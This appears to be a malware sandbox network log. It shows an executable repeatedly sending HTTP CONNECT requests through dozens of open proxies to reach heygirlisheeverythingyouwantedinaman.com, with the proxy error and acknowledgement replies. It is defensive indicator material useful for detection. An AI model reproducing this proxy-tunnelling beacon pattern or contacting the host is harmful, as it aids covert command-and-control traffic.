Mar 11, 2024 15:21:08.131936073 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1242	192.168.2.9	54077	103.23.100.1	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.831084013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1243	192.168.2.9	54082	210.72.11.46	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.832546949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.548593998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.591393948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.603987932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.497230053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.497291088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.825858116 CET	1280	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.5.27 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:19 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3890 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2017 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1244	192.168.2.9	54083	194.182.178.90	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.833288908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.161843061 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1245	192.168.2.9	54109	147.75.34.86	10003	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.836841106 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:08.138273954 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1246	192.168.2.9	54124	147.75.34.86	10008	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.842304945 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:08.146862030 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1247	192.168.2.9	54138	129.213.150.205	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.843801975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1248	192.168.2.9	52438	46.245.77.52	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.844887018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1249	192.168.2.9	54047	103.118.44.136	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.880213022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1250	192.168.2.9	52524	132.148.16.169	55610	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.882493019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.888232946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1251	192.168.2.9	54021	175.183.82.221	8197	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.904675961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1252	192.168.2.9	53578	98.170.57.249	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.905981064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1253	192.168.2.9	53400	5.58.97.89	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.906305075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.997242928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.997335911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.997186899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:32.090667963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1254	192.168.2.9	54159	172.67.253.69	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.909621954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.063904047 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1255	192.168.2.9	54123	212.174.242.114	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.909838915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.825298071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.028990984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.340768099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.825440884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.325532913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:25.825515032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:34.825174093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:52.637547016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1256	192.168.2.9	54160	74.48.7.43	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.913520098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1257	192.168.2.9	54137	161.97.173.42	62289	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.931482077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.637965918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.638187885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.637986898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.330415964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.934731960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.640178919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:29.840723038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:44.325078011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1258	192.168.2.9	53394	119.193.137.104	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.949120045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.137590885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.138084888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.137886047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:32.137559891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1259	192.168.2.9	54174	104.17.37.235	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
